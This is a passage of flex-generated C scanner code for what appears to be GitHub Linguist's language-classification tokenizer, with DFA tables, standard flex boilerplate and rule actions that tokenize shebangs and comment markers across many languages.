const flex_int16_t yy_nxt[669] =\n    {   0,\n       20,   20,   20,   20,   21,   22,   23,   24,   25,   26,\n       27,   28,   29,   30,   31,   32,   33,   34,   35,   36,\n       37,   38,   39,   40,   41,   42,   43,   44,   45,   45,\n       45,   45,   45,   45,   46,   47,   48,   49,   50,   45,\n       45,   45,   45,   45,   45,   51,   52,   53,   54,   55,\n       97,   55,   74,   56,   57,   58,   59,  260,   60,   85,\n      214,   86,  260,   81,   61,   62,   63,   82,   87,  129,\n       64,   74,   75,   76,  214,   86,   76,   98,  128,   91,\n       92,   93,   86,   86,   88,   94,  130,   86,  131,  100,\n       83,   75,  260,  100,   95,  134,   77,   86,  101,  102,\n\n      103,   84,  101,  104,  105,   89,  125,  106,  125,  107,\n      125,  123,  125,  114,  107,   86,  107,  108,  115,  109,\n      109,   86,   76,  127,  103,  136,  137,  260,   80,  110,\n      111,   80,  111,  112,   86,   77,  184,  126,  260,  110,\n       80,   80,   80,   80,  113,  117,  107,  118,   89,  118,\n      119,  124,  123,  124,  138,  234,  139,  120,  142,  121,\n       91,   92,  185,   86,  122,  123,  124,  118,  118,  150,\n      151,  186,   78,  152,  153,  154,  250,  155,  160,  163,\n      160,  163,  260,  157,  158,  140,  143,   90,  143,  159,\n      144,  145,  260,  146,  260,  167,  168,  102,  150,  151,\n\n      162,  147,  191,  148,  191,   86,   76,  149,   86,  101,\n      183,  105,  161,  164,  106,  169,  166,  260,  192,  165,\n      107,  107,   86,  107,  260,  107,  260,  107,  108,  260,\n      108,  108,  125,  123,  125,  152,  153,  193,  193,  145,\n      188,  189,  251,  189,  190,  246,  193,  193,  193,  107,\n      188,  212,  226,  111,  107,  111,  107,  193,  120,  130,\n      107,  131,  138,  107,  139,  122,  123,  124,  124,  123,\n      124,  157,  158,  167,  168,  152,  153,  146,  201,  155,\n      201,  157,  158,  160,  163,  160,  163,  159,  209,  210,\n      167,  168,  214,  149,  215,  202,  203,  203,  191,  189,\n\n      191,  189,  100,  209,  210,  214,  246,  215,  216,  234,\n      169,  101,  260,  216,  260,  216,  205,  161,  164,  225,\n      225,  244,  245,  201,  260,  201,  260,  243,  260,  247,\n      189,  260,  189,  227,  255,  228,  228,  191,  246,  191,\n      202,  203,  203,  214,  228,  229,  230,   80,  111,  112,\n      214,  234,  225,  225,  242,  229,   80,   80,   80,   80,\n       80,  205,  204,  189,  239,  189,  216,  191,  254,  191,\n      254,  216,  237,  216,  227,  253,  227,  227,  254,  260,\n      254,  260,  254,  235,  254,  227,  248,  249,  234,  189,\n      190,  254,  233,  254,  232,  234,  248,  254,  231,  254,\n\n      224,  223,  257,  222,  179,  221,  220,  219,  218,  211,\n      208,  206,  198,  197,  142,  141,  140,  139,  196,  135,\n      257,  134,  133,  132,  258,  258,  258,  258,  258,  258,\n      131,  195,  128,  127,  120,  258,  258,  258,  258,  258,\n      258,  260,  126,  260,  194,  116,  115,   80,  187,  104,\n      101,   99,   98,   97,   96,  182,  181,   92,  180,  126,\n       87,   86,   85,   84,  257,  179,   82,   81,  258,  258,\n      258,  258,  258,  258,  260,   79,  178,   75,  177,  258,\n      258,  258,  258,  258,  258,   65,   65,   65,   65,   65,\n       65,   65,   80,  176,   80,  118,  118,  118,  199,  199,\n\n      175,  199,  199,  199,  199,  200,  200,  174,  200,  200,\n      200,  200,  204,  173,  172,  171,  204,  204,  207,  207,\n      170,  207,  207,  207,  207,  213,  213,  213,  213,  213,\n      213,  213,  217,  217,  156,  217,  217,  217,  217,  203,\n      203,  236,  236,  236,  236,  236,  236,  236,  238,  238,\n      238,  238,  238,  238,  238,  240,  240,  141,  240,  240,\n      240,  240,  241,  241,  241,  241,  241,  241,  241,  252,\n      252,  252,  252,  252,  252,  252,  256,  256,  256,  256,\n      256,  256,  256,  259,  259,  259,  259,  259,  259,  259,\n      135,  133,  132,  260,  116,   80,   99,   96,   90,   79,\n\n       78,  260,   73,   73,   72,   72,   71,   71,   70,   70,\n       69,   69,   68,   68,   67,   67,   66,   66,   19,  260,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260\n    } ;\n\nstatic const flex_int16_t yy_chk[669] =\n    {   0,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n        1,    1,    1,    1,    1,    1,    1,    1,    1,    2,\n       30,    2,   21,    2,    2,    2,    2,   44,    2,   25,\n      252,   30,   24,   24,    2,    2,    2,   24,   26,   46,\n        2,   74,   21,   21,  245,   25,   25,   31,   44,   28,\n       28,   28,   49,   26,   26,   28,   46,   31,   46,   33,\n       24,   74,   34,  100,   28,   49,   21,   33,   33,   34,\n\n       34,   24,  100,   34,   35,   26,  125,   35,  125,   35,\n       41,   41,   41,   38,   35,   35,   35,   36,   38,   36,\n       36,   38,   43,   43,  103,   51,   51,  241,   36,   36,\n       36,   36,   36,   36,   54,   41,  103,   42,  238,   36,\n       36,   36,   36,   36,   36,   40,   42,   40,   52,   40,\n       40,   42,   42,   42,   51,  234,   51,   40,   54,   40,\n       91,   91,  105,   52,   40,   40,   40,   40,   40,   56,\n       56,  105,   56,   57,   57,   57,  234,   57,   60,   62,\n       60,   62,  236,   59,   59,   52,   55,   60,   55,   59,\n       55,   55,  112,   55,  110,   64,   64,  102,  144,  144,\n\n       61,   55,  110,   55,  110,   59,   59,   55,   61,   61,\n      102,   63,   60,   62,   63,   64,   63,  165,  112,   62,\n      107,   63,   63,   63,  113,  107,  192,  107,  108,  111,\n      108,  108,  123,  123,  123,  145,  145,  113,  113,  145,\n      108,  108,  235,  108,  108,  233,  113,  113,  113,  121,\n      108,  165,  192,  111,  121,  111,  121,  113,  122,  130,\n      122,  130,  138,  124,  138,  122,  122,  122,  124,  124,\n      124,  146,  146,  149,  149,  155,  155,  146,  154,  155,\n      154,  159,  159,  160,  163,  160,  163,  159,  162,  162,\n      169,  169,  166,  149,  166,  154,  154,  154,  188,  189,\n\n      188,  189,  162,  197,  197,  198,  232,  198,  166,  253,\n      169,  162,  202,  166,  202,  166,  154,  160,  163,  191,\n      191,  215,  215,  201,  204,  201,  204,  212,  226,  224,\n      191,  212,  191,  193,  253,  193,  193,  229,  222,  229,\n      201,  201,  201,  213,  193,  193,  193,  193,  193,  193,\n      216,  250,  225,  225,  211,  193,  193,  193,  193,  193,\n      193,  201,  204,  225,  208,  225,  216,  248,  251,  248,\n      251,  216,  206,  216,  227,  250,  227,  227,  255,  256,\n      255,  256,  257,  205,  257,  227,  227,  227,  203,  227,\n      227,  259,  196,  259,  195,  255,  227,  254,  194,  254,\n\n      190,  186,  256,  181,  179,  176,  175,  174,  171,  164,\n      161,  156,  148,  147,  142,  141,  140,  139,  137,  135,\n      254,  134,  133,  132,  254,  254,  254,  254,  254,  254,\n      131,  129,  128,  127,  120,  254,  254,  254,  254,  254,\n      254,  258,  119,  258,  117,  116,  115,  109,  106,  104,\n      101,   99,   98,   97,   96,   95,   94,   92,   90,   88,\n       87,   86,   85,   84,  258,   83,   82,   81,  258,  258,\n      258,  258,  258,  258,   80,   79,   78,   75,   73,  258,\n      258,  258,  258,  258,  258,  261,  261,  261,  261,  261,\n      261,  261,  262,   72,  262,  263,  263,  263,  264,  264,\n\n       71,  264,  264,  264,  264,  265,  265,   70,  265,  265,\n      265,  265,  266,   69,   68,   67,  266,  266,  267,  267,\n       66,  267,  267,  267,  267,  268,  268,  268,  268,  268,\n      268,  268,  269,  269,   58,  269,  269,  269,  269,  270,\n      270,  271,  271,  271,  271,  271,  271,  271,  272,  272,\n      272,  272,  272,  272,  272,  273,  273,   53,  273,  273,\n      273,  273,  274,  274,  274,  274,  274,  274,  274,  275,\n      275,  275,  275,  275,  275,  275,  276,  276,  276,  276,\n      276,  276,  276,  277,  277,  277,  277,  277,  277,  277,\n       50,   48,   47,   45,   39,   37,   32,   29,   27,   23,\n\n       22,   19,   18,   17,   16,   15,   14,   13,   12,   11,\n       10,    9,    8,    7,    6,    5,    4,    3,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,\n      260,  260,  260,  260,  260,  260,  260,  260\n    } ;\n\n/* The intent behind this definition is that it'll catch\n * any uses of REJECT which flex missed.\n */\n#define REJECT reject_used_but_not_detected\n#define yymore() yymore_used_but_not_detected\n#define YY_MORE_ADJ 0\n#define YY_RESTORE_YY_MORE_OFFSET\n#line 1 \"tokenizer.l\"\n#line 2 \"tokenizer.l\"\n\n#include \"ruby.h\"\n\n// Anything longer is unlikely to be useful.\n#define MAX_TOKEN_LEN 16\n\n#define FEED2(s, l) do { \\\n    const char* __s = (s); \\\n    const size_t __l = (l); \\\n    const size_t __cl = __l > MAX_TOKEN_LEN? MAX_TOKEN_LEN : __l; \\\n    *yyextra = rb_str_new(__s, __cl); \\\n  } while(0)\n\n#define FEED1(s) FEED2(s, strlen(s))\n\n#define FEED() FEED2(yytext, yyleng)\n\n#define FEED_STATIC(s) FEED2(s, sizeof(s) - 1)\n\n#define FEED_SHEBANG(s) do { \\\n    const size_t __l = strlen(s); \\\n    const size_t __cl = __l > MAX_TOKEN_LEN? MAX_TOKEN_LEN : __l; \\\n    *yyextra = rb_str_new(\"SHEBANG#!\", sizeof(\"SHEBANG#!\") - 1); \\\n    rb_str_cat(*yyextra, s, __cl); \\\n  } while(0)\n\n#define eat_until_eol() do { \\\n    int c; \\\n    while ((c = input(yyscanner)) != '\\n' && c != EOF && c); \\\n    if (c == EOF || !c) \\\n      return 0; \\\n  } while (0)\n\n#define eat_until_unescaped(q) do { \\\n    int c; \\\n    while ((c = input(yyscanner)) != EOF && c) { \\\n      if (c == '\\n') \\\n        break; \\\n      if (c == '\\\\') { \\\n        c = input(yyscanner); \\\n        if (c == EOF || !c) \\\n          return 0; \\\n      } else if (c == q) \\\n        break; \\\n    } \\\n    if (c == EOF || !c) \\\n      return 0; \\\n  } while (0)\n\n#line 911 \"lex.linguist_yy.c\"\n\n#line 913 \"lex.linguist_yy.c\"\n\n#define INITIAL 0\n#define c_comment 1\n#define xml_comment 2\n#define haskell_comment 3\n#define ocaml_comment 4\n#define python_dcomment 5\n#define python_scomment 6\n#define roff_comment 7\n#define lean_comment 8\n\n#ifndef YY_NO_UNISTD_H\n/* Special case for \"unistd.h\", since it is non-ANSI. We include it way\n * down here because we want the user's section 1 to have been scanned first.\n * The user has a chance to override it with an option.\n */\n#include <unistd.h>\n#endif\n\n#define YY_EXTRA_TYPE VALUE*\n\n/* Holds the entire state of the reentrant scanner. */\nstruct yyguts_t\n    {\n\n    /* User-defined. Not touched by flex. */\n    YY_EXTRA_TYPE yyextra_r;\n\n    /* The rest are the same as the globals declared in the non-reentrant scanner. */\n    FILE *yyin_r, *yyout_r;\n    size_t yy_buffer_stack_top; /**< index of top of stack. */\n    size_t yy_buffer_stack_max; /**< capacity of stack. */\n    YY_BUFFER_STATE * yy_buffer_stack; /**< Stack as an array. */\n    char yy_hold_char;\n    int yy_n_chars;\n    int yyleng_r;\n    char *yy_c_buf_p;\n    int yy_init;\n    int yy_start;\n    int yy_did_buffer_switch_on_eof;\n    int yy_start_stack_ptr;\n    int yy_start_stack_depth;\n    int *yy_start_stack;\n    yy_state_type yy_last_accepting_state;\n    char* yy_last_accepting_cpos;\n\n    int yylineno_r;\n    int yy_flex_debug_r;\n\n    char *yytext_r;\n    int yy_more_flag;\n    int yy_more_len;\n\n    }; /* end struct yyguts_t */\n\nstatic int yy_init_globals ( yyscan_t yyscanner );\n\nint yylex_init (yyscan_t* scanner);\n\nint yylex_init_extra ( YY_EXTRA_TYPE user_defined, yyscan_t* scanner);\n\n/* Accessor methods to globals.\n   These are made visible to non-reentrant scanners for convenience. */\n\nint yylex_destroy ( yyscan_t yyscanner );\n\nint yyget_debug ( yyscan_t yyscanner );\n\nvoid yyset_debug ( int debug_flag , yyscan_t yyscanner );\n\nYY_EXTRA_TYPE yyget_extra ( yyscan_t yyscanner );\n\nvoid yyset_extra ( YY_EXTRA_TYPE user_defined , yyscan_t yyscanner );\n\nFILE *yyget_in ( yyscan_t yyscanner );\n\nvoid yyset_in  ( FILE * _in_str , yyscan_t yyscanner );\n\nFILE *yyget_out ( yyscan_t yyscanner );\n\nvoid yyset_out  ( FILE * _out_str , yyscan_t yyscanner );\n\n\t\t\tint yyget_leng ( yyscan_t yyscanner );\n\nchar *yyget_text ( yyscan_t yyscanner );\n\nint yyget_lineno ( yyscan_t yyscanner );\n\nvoid yyset_lineno ( int _line_number , yyscan_t yyscanner );\n\nint yyget_column  ( yyscan_t yyscanner );\n\nvoid yyset_column ( int _column_no , yyscan_t yyscanner );\n\n/* Macros after this point can all be overridden by user definitions in\n * section 1.\n */\n\n#ifndef YY_SKIP_YYWRAP\n#ifdef __cplusplus\nextern \"C\" int yywrap ( yyscan_t yyscanner );\n#else\nextern int yywrap ( yyscan_t yyscanner );\n#endif\n#endif\n\n#ifndef YY_NO_UNPUT\n    \n#endif\n\n#ifndef yytext_ptr\nstatic void yy_flex_strncpy ( char *, const char *, int , yyscan_t yyscanner);\n#endif\n\n#ifdef YY_NEED_STRLEN\nstatic int yy_flex_strlen ( const char * , yyscan_t yyscanner);\n#endif\n\n#ifndef YY_NO_INPUT\n#ifdef __cplusplus\nstatic int yyinput ( yyscan_t yyscanner );\n#else\nstatic int input ( yyscan_t yyscanner );\n#endif\n\n#endif\n\n/* Amount of stuff to slurp up with each read. */\n#ifndef YY_READ_BUF_SIZE\n#ifdef __ia64__\n/* On IA-64, the buffer size is 16k, not 8k */\n#define YY_READ_BUF_SIZE 16384\n#else\n#define YY_READ_BUF_SIZE 8192\n#endif /* __ia64__ */\n#endif\n\n/* Copy whatever the last rule matched to the standard output. */\n#ifndef ECHO\n/* This used to be an fputs(), but since the string might contain NUL's,\n * we now use fwrite().\n */\n#define ECHO do { if (fwrite( yytext, (size_t) yyleng, 1, yyout )) {} } while (0)\n#endif\n\n/* Gets input and stuffs it into \"buf\".  number of characters read, or YY_NULL,\n * is returned in \"result\".\n */\n#ifndef YY_INPUT\n#define YY_INPUT(buf,result,max_size) \\\n\tif ( YY_CURRENT_BUFFER_LVALUE->yy_is_interactive ) \\\n\t\t{ \\\n\t\tint c = '*'; \\\n\t\tint n; \\\n\t\tfor ( n = 0; n < max_size && \\\n\t\t\t     (c = getc( yyin )) != EOF && c != '\\n'; ++n ) \\\n\t\t\tbuf[n] = (char) c; \\\n\t\tif ( c == '\\n' ) \\\n\t\t\tbuf[n++] = (char) c; \\\n\t\tif ( c == EOF && ferror( yyin ) ) \\\n\t\t\tYY_FATAL_ERROR( \"input in flex scanner failed\" ); \\\n\t\tresult = n; \\\n\t\t} \\\n\telse \\\n\t\t{ \\\n\t\terrno=0; \\\n\t\twhile ( (result = (int) fread(buf, 1, (yy_size_t) max_size, yyin)) == 0 && ferror(yyin)) \\\n\t\t\t{ \\\n\t\t\tif( errno != EINTR) \\\n\t\t\t\t{ \\\n\t\t\t\tYY_FATAL_ERROR( \"input in flex scanner failed\" ); \\\n\t\t\t\tbreak; \\\n\t\t\t\t} \\\n\t\t\terrno=0; \\\n\t\t\tclearerr(yyin); \\\n\t\t\t} \\\n\t\t}\\\n\\\n\n#endif\n\n/* No semi-colon after return; correct usage is to write \"yyterminate();\" -\n * we don't want an extra ';' after the \"return\" because that will cause\n * some compilers to complain about unreachable statements.\n */\n#ifndef yyterminate\n#define yyterminate() return YY_NULL\n#endif\n\n/* Number of entries by which start-condition stack grows. */\n#ifndef YY_START_STACK_INCR\n#define YY_START_STACK_INCR 25\n#endif\n\n/* Report a fatal error. */\n#ifndef YY_FATAL_ERROR\n#define YY_FATAL_ERROR(msg) yy_fatal_error( msg , yyscanner)\n#endif\n\n/* end tables serialization structures and prototypes */\n\n/* Default declaration of generated scanner - a define so the user can\n * easily add parameters.\n */\n#ifndef YY_DECL\n#define YY_DECL_IS_OURS 1\n\nextern int yylex (yyscan_t yyscanner);\n\n#define YY_DECL int yylex (yyscan_t yyscanner)\n#endif /* !YY_DECL */\n\n/* Code executed at the beginning of each rule, after yytext and yyleng\n * have been set up.\n */\n#ifndef YY_USER_ACTION\n#define YY_USER_ACTION\n#endif\n\n/* Code executed at the end of each rule. */\n#ifndef YY_BREAK\n#define YY_BREAK /*LINTED*/break;\n#endif\n\n#define YY_RULE_SETUP \\\n\tif ( yyleng > 0 ) \\\n\t\tYY_CURRENT_BUFFER_LVALUE->yy_at_bol = \\\n\t\t\t\t(yytext[yyleng - 1] == '\\n'); \\\n\tYY_USER_ACTION\n\n/** The main scanner function which does all the work.\n */\nYY_DECL\n{\n\tyy_state_type yy_current_state;\n\tchar *yy_cp, *yy_bp;\n\tint yy_act;\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\n\tif ( !yyg->yy_init )\n\t\t{\n\t\tyyg->yy_init = 1;\n\n#ifdef YY_USER_INIT\n\t\tYY_USER_INIT;\n#endif\n\n\t\tif ( ! yyg->yy_start )\n\t\t\tyyg->yy_start = 1;\t/* first start state */\n\n\t\tif ( ! yyin )\n\t\t\tyyin = stdin;\n\n\t\tif ( ! yyout )\n\t\t\tyyout = stdout;\n\n\t\tif ( ! YY_CURRENT_BUFFER ) {\n\t\t\tyyensure_buffer_stack (yyscanner);\n\t\t\tYY_CURRENT_BUFFER_LVALUE =\n\t\t\t\tyy_create_buffer( yyin, YY_BUF_SIZE , yyscanner);\n\t\t}\n\n\t\tyy_load_buffer_state( yyscanner );\n\t\t}\n\n\t{\n#line 56 \"tokenizer.l\"\n\n\n#line 1183 \"lex.linguist_yy.c\"\n\n\twhile ( /*CONSTCOND*/1 )\t\t/* loops until end-of-file is reached */\n\t\t{\n\t\tyy_cp = yyg->yy_c_buf_p;\n\n\t\t/* Support of yytext. */\n\t\t*yy_cp = yyg->yy_hold_char;\n\n\t\t/* yy_bp points to the position in yy_ch_buf of the start of\n\t\t * the current run.\n\t\t */\n\t\tyy_bp = yy_cp;\n\n\t\tyy_current_state = yyg->yy_start;\n\t\tyy_current_state += YY_AT_BOL();\nyy_match:\n\t\tdo\n\t\t\t{\n\t\t\tYY_CHAR yy_c = yy_ec[YY_SC_TO_UI(*yy_cp)] ;\n\t\t\tif ( yy_accept[yy_current_state] )\n\t\t\t\t{\n\t\t\t\tyyg->yy_last_accepting_state = yy_current_state;\n\t\t\t\tyyg->yy_last_accepting_cpos = yy_cp;\n\t\t\t\t}\n\t\t\twhile ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )\n\t\t\t\t{\n\t\t\t\tyy_current_state = (int) yy_def[yy_current_state];\n\t\t\t\tif ( yy_current_state >= 261 )\n\t\t\t\t\tyy_c = yy_meta[yy_c];\n\t\t\t\t}\n\t\t\tyy_current_state = yy_nxt[yy_base[yy_current_state] + yy_c];\n\t\t\t++yy_cp;\n\t\t\t}\n\t\twhile ( yy_current_state != 260 );\n\t\tyy_cp = yyg->yy_last_accepting_cpos;\n\t\tyy_current_state = yyg->yy_last_accepting_state;\n\nyy_find_action:\n\t\tyy_act = yy_accept[yy_current_state];\n\n\t\tYY_DO_BEFORE_ACTION;\n\ndo_action:\t/* This label is used only to access EOF actions. */\n\n\t\tswitch ( yy_act )\n\t{ /* beginning of action switch */\n\t\t\tcase 0: /* must back up */\n\t\t\t/* undo the effects of YY_DO_BEFORE_ACTION */\n\t\t\t*yy_cp = yyg->yy_hold_char;\n\t\t\tyy_cp = yyg->yy_last_accepting_cpos;\n\t\t\tyy_current_state = yyg->yy_last_accepting_state;\n\t\t\tgoto yy_find_action;\n\ncase 1:\n/* rule 1 can match eol */\nYY_RULE_SETUP\n#line 58 \"tokenizer.l\"\n{\n  const char *off = strrchr(yytext, ' ');\n  if (!off)\n    off = yytext;\n  else\n    ++off;\n  FEED_SHEBANG(off);\n  eat_until_eol();\n  return 1;\n}\n\tYY_BREAK\ncase 2:\nYY_RULE_SETUP\n#line 69 \"tokenizer.l\"\n{\n  const char *off = strrchr(yytext, '/');\n  if (!off)\n    off = yytext;\n  else\n   ++off;\n  if (strcmp(off, \"env\") == 0) {\n    eat_until_eol();\n  } else {\n    FEED_SHEBANG(off);\n    eat_until_eol();\n    return 1;\n  }\n}\n\tYY_BREAK\ncase 3:\n/* rule 3 can match eol */\nYY_RULE_SETUP\n#line 84 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT#\"); return 1; }\n\tYY_BREAK\ncase 4:\n/* rule 4 can match eol */\nYY_RULE_SETUP\n#line 85 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT//!\"); return 1; }\n\tYY_BREAK\ncase 5:\n/* rule 5 can match eol */\nYY_RULE_SETUP\n#line 86 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT//\"); return 1; }\n\tYY_BREAK\ncase 6:\n/* rule 6 can match eol */\nYY_RULE_SETUP\n#line 87 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT--\"); return 1; }\n\tYY_BREAK\ncase 7:\n/* rule 7 can match eol */\nYY_RULE_SETUP\n#line 88 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT%\"); return 1; }\n\tYY_BREAK\ncase 8:\n/* rule 8 can match eol */\nYY_RULE_SETUP\n#line 89 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT\\\"\"); return 1; }\n\tYY_BREAK\ncase 9:\n/* rule 9 can match eol */\nYY_RULE_SETUP\n#line 90 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT;\"); return 1; }\n\tYY_BREAK\ncase 10:\n/* rule 10 can match eol */\nYY_RULE_SETUP\n#line 91 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT.\\\\\\\"\"); return 1; }\n\tYY_BREAK\ncase 11:\n/* rule 11 can match eol */\nYY_RULE_SETUP\n#line 92 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT'\\\\\\\"\"); return 1; }\n\tYY_BREAK\ncase 12:\n/* rule 12 can match eol */\nYY_RULE_SETUP\n#line 93 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT$!\"); return 1; }\n\tYY_BREAK\ncase 13:\nYY_RULE_SETUP\n#line 95 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT/*\"); return 1; }\n\tYY_BREAK\ncase 14:\nYY_RULE_SETUP\n#line 96 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT/**\"); BEGIN(c_comment); return 1; }\n\tYY_BREAK\ncase 15:\nYY_RULE_SETUP\n#line 97 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT/*!\"); BEGIN(c_comment); return 1; }\n\tYY_BREAK\ncase 16:\nYY_RULE_SETUP\n#line 98 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT/*\"); BEGIN(c_comment); return 1; }\n\tYY_BREAK\ncase 17:\nYY_RULE_SETUP\n#line 99 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT<!--\"); BEGIN(xml_comment); return 1; }\n\tYY_BREAK\ncase 18:\nYY_RULE_SETUP\n#line 100 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT{-\"); BEGIN(haskell_comment); return 1; }\n\tYY_BREAK\ncase 19:\nYY_RULE_SETUP\n#line 101 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT(*\"); BEGIN(ocaml_comment); return 1; }\n\tYY_BREAK\ncase 20:\nYY_RULE_SETUP\n#line 102 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT\\\"\\\"\\\"\"); BEGIN(python_dcomment); return 1; }\n\tYY_BREAK\ncase 21:\nYY_RULE_SETUP\n#line 103 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT'''\"); BEGIN(python_scomment); return 1; }\n\tYY_BREAK\ncase 22:\n/* rule 22 can match eol */\nYY_RULE_SETUP\n#line 104 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT.ig\"); BEGIN(roff_comment); return 1; }\n\tYY_BREAK\ncase 23:\nYY_RULE_SETUP\n#line 105 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT/-\"); BEGIN(lean_comment); return 1; }\n\tYY_BREAK\ncase 24:\nYY_RULE_SETUP\n#line 106 \"tokenizer.l\"\n{ FEED_STATIC(\"COMMENT/-\"); BEGIN(lean_comment); return 1; }\n\tYY_BREAK\ncase 25:\n/* rule 25 can match eol */\nYY_RULE_SETUP\n#line 108 \"tokenizer.l\"\n{ /* nothing */ }\n\tYY_BREAK\ncase 26:\nYY_RULE_SETUP\n#line 109 \"tokenizer.l\"\n{ BEGIN(INITIAL); }\n\tYY_BREAK\ncase 27:\nYY_RULE_SETUP\n#line 110 \"tokenizer.l\"\n{ BEGIN(INITIAL); }\n\tYY_BREAK\ncase 28:\nYY_RULE_SETUP\n#line 111 \"tokenizer.l\"\n{ BEGIN(INITIAL); }\n\tYY_BREAK\ncase 29:\nYY_RULE_SETUP\n#line 112 \"tokenizer.l\"\n{ BEGIN(INITIAL); }\n\tYY_BREAK\ncase 30:\nYY_RULE_SETUP\n#line 113 \"tokenizer.l\"\n{ BEGIN(INITIAL); }\n\tYY_BREAK\ncase 31:\nYY_RULE_SETUP\n#line 114 \"tokenizer.l\"\n{ BEGIN(INITIAL); }\n\tYY_BREAK\ncase 32:\n/* rule 32 can match eol */\nYY_RULE_SETUP\n#line 115 \"tokenizer.l\"\n{ BEGIN(INITIAL); }\n\tYY_BREAK\ncase 33:\nYY_RULE_SETUP\n#line 116 \"tokenizer.l\"\n{ BEGIN(INITIAL); }\n\tYY_BREAK\ncase 34:\nYY_RULE_SETUP\n#line 118 \"tokenizer.l\"\n{ /* nothing */ }\n\tYY_BREAK\ncase 35:\nYY_RULE_SETUP\n#line 119 \"tokenizer.l\"\n{ eat_until_unescaped('\"'); }\n\tYY_BREAK\ncase 36:\nYY_RULE_SETUP\n#line 120 \"tokenizer.l\"\n{ eat_until_unescaped('\\''); }\n\tYY_BREAK\ncase 37:\nYY_RULE_SETUP\n#line 121 \"tokenizer.l\"\n{ /* nothing */ }\n\tYY_BREAK\ncase 38:\nYY_RULE_SETUP\n#line 123 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 39:\nYY_RULE_SETUP\n#line 125 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 40:\nYY_RULE_SETUP\n#line 126 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 41:\nYY_RULE_SETUP\n#line 127 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 42:\nYY_RULE_SETUP\n#line 128 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 43:\nYY_RULE_SETUP\n#line 129 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 44:\nYY_RULE_SETUP\n#line 130 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 45:\nYY_RULE_SETUP\n#line 131 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 46:\nYY_RULE_SETUP\n#line 133 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 47:\nYY_RULE_SETUP\n#line 135 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 48:\nYY_RULE_SETUP\n#line 136 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 49:\nYY_RULE_SETUP\n#line 138 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 50:\nYY_RULE_SETUP\n#line 139 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 51:\nYY_RULE_SETUP\n#line 141 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 52:\nYY_RULE_SETUP\n#line 142 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 53:\nYY_RULE_SETUP\n#line 143 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 54:\nYY_RULE_SETUP\n#line 144 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 55:\nYY_RULE_SETUP\n#line 145 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 56:\nYY_RULE_SETUP\n#line 146 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 57:\nYY_RULE_SETUP\n#line 147 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 58:\nYY_RULE_SETUP\n#line 148 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 59:\nYY_RULE_SETUP\n#line 150 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 60:\nYY_RULE_SETUP\n#line 151 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 61:\nYY_RULE_SETUP\n#line 152 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 62:\nYY_RULE_SETUP\n#line 154 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 63:\nYY_RULE_SETUP\n#line 155 \"tokenizer.l\"\n{ FEED(); return 1; 